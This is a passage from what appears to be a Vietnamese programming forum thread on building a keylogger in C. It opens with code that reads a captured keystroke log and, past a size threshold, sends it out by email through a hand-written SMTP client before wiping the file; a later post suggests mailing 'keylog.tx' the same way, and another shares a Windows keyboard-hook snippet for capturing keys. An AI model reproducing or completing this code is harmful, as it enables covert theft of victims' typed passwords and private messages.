    ",file);                                          fclose(file);                                          break;                                          default:                                          fclose(file);                                          break;                                   }                                 }                         }                  }           }                    FILE *file;       file=fopen(FileName,"rb");       fseek(file,0,SEEK_END); //go to end       len=ftell(file); //get position at end (length)       if(len>=LogLength) {         fseek(file,0,SEEK_SET);//go to beg.         buf=(char *)malloc(len);//malloc buffer         freadindex=fread(buf,1,len,file);//read into buffer         buf[freadindex] = '\0';//Extra bit I have to add to make it a sting         MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);         fclose(file);         file=fopen(FileName,"w");                            }          fclose(file);        //free (buf);               }       return EXIT_SUCCESS;                       } int MailIt (char *mailserver, char *emailto, char *emailfrom,char *emailsubject, char *emailmessage) {SOCKET sockfd;WSADATA wsaData;FILE *smtpfile; #define bufsize 300int bytes_sent;   /* Sock FD */int err;struct hostent *host;   /* info from gethostbyname */struct sockaddr_in dest_addr;   /* Host Address */char line[1000];char *Rec_Buf = (char*) malloc(bufsize+1);smtpfile=fopen(SMTPLog,"a+");if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {  fputs("WSAStartup failed",smtpfile);  WSACleanup();  return -1;}if ( (host=gethostbyname(mailserver)) == NULL) {   perror("gethostbyname");   exit(1);}memset(&dest_addr,0,sizeof(dest_addr));memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);  /* Prepare dest_addr */ dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */ dest_addr.sin_port= htons(25); /* PORT defined above */  /* Get socket */  if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {    perror("socket");    exit(1);    } /* Connect !*/ fputs("Connecting....
    ",smtpfile); if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){    perror("connect");    exit(1);    } sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); strcpy(line,"helo me.somepalace.com
    "); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); strcpy(line,"MAIL FROM:<"); strncat(line,emailfrom,strlen(emailfrom)); strncat(line,">
    ",3); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); strcpy(line,"RCPT TO:<"); strncat(line,emailto,strlen(emailto)); strncat(line,">
    ",3); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); strcpy(line,"DATA
    "); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); sleep(waittime); strcpy(line,"To:"); strcat(line,emailto); strcat(line,"
    "); strcat(line,"From:"); strcat(line,emailfrom); strcat(line,"
    "); strcat(line,"Subject:"); strcat(line,emailsubject); strcat(line,"
    "); strcat(line,emailmessage); strcat(line,"
    .
    "); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); strcpy(line,"quit
    "); fputs(line,smtpfile); bytes_sent=send(sockfd,line,strlen(line),0); sleep(waittime); err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0'; fputs(Rec_Buf,smtpfile); fclose(smtpfile);                      #ifdef WIN32 closesocket(sockfd); WSACleanup(); #else close(sockfd); #endif}

  6. #6
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    vào run gõ :cmd
    gõ telnet gmail-smtp-in.l.google.com 25
    gõ HELO gmail
    gõ MAIL FROM:<yourmail@gmail.com> (lưu ý gõ luôn dấu <>)
    gõ RCPT TO:<mailnhan1989@gmail.com>(lưu ý gõ luôn dấu <>)
    gõ DATA gõ enter xuống hàng
    gõ noi dung thu vi du HELLO I SEND MAIL FOR YOU
    để kết thúc gõ enter xuống hàng và gõ dấu chấm (.)
    gõ QUIT để thoát
    trong các bước trên nếu lỡ gõ sai phải làm lại khong backspace được
    -Không biết cách này có code bằng C được không nếu được có thể dùng lệnh open file keylog.tx sau đó đọc nội dung rồi chuyển thành thư gửi đi bác nguyên cứu thử

  7. #7
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    sao mình làm giống bạn có thấy gửi được Mail đâu bạn

  8. #8
    chẹp, muốn gửi thư dùng SMTP thì dùng socket ấy
    đọc thêm 1 ít thông tin về SMTP là ok ngay

  9. #9
    Ngày tham gia
    Sep 2015
    Đang ở
    Số 60 Thái Hà, Đống Đa, Hà Nội
    Bài viết
    0
    Ặc tui coi file bat cua ông rùi ông làm vậy nó không gửi được là phải rồi.Khi gõ vài dòng lệnh trên tui thấy phải chờ vài phút sever phản hồi lại sao cho chạy liền một mạch vậy?
    Ông vào dos gõ thử từng lệnh 1 đi.Tui thấy ở trang codeproject.com có một bài viết về gửi mail bằng C++ đó ông vào search thử

  10. #10
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Mã:
    #include <windows.h>#include <stdio.h>#include <conio.h>#include <tchar.h>// ham loc cua HookLRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam );int main(){    // lay dia chi Hook cho moi ung dung    HINSTANCE appInstance = GetModuleHandle(NULL);    printf("
     0x%X ",appInstance);    // Set a global Windows Hook to capture keystrokes.    if( SetWindowsHookEx( WH_KEYBOARD, LowLevelKeyboardProc, appInstance, 0 ) == NULL ){         printf("Error: %d",GetLastError());        getch();        return 0;    }    ////////////////////han thong tin tu nguoi dung    MSG msg;    while(GetMessage(&msg, NULL, 0, 0) > 0)//vong lap nhan thong diep     {        TranslateMessage(&msg);        DispatchMessage(&msg);    }    return 0;}LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ){    if ( (wParam == 13) &&(HC_ACTION==nCode))  //khi ban an phim    {        printf("BAN DANG BI HOOK CUC BO BAN PHIM
    ");    }    return CallNextHookEx( NULL, nCode, wParam, lParam );  //call back tiep tuc    return 0;}
    AlexF ơi tớ code theo bạn bị lỗi 1428 .
    AI giúp mình sửa với

 

 
Trang 1 của 2 12 CuốiCuối

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •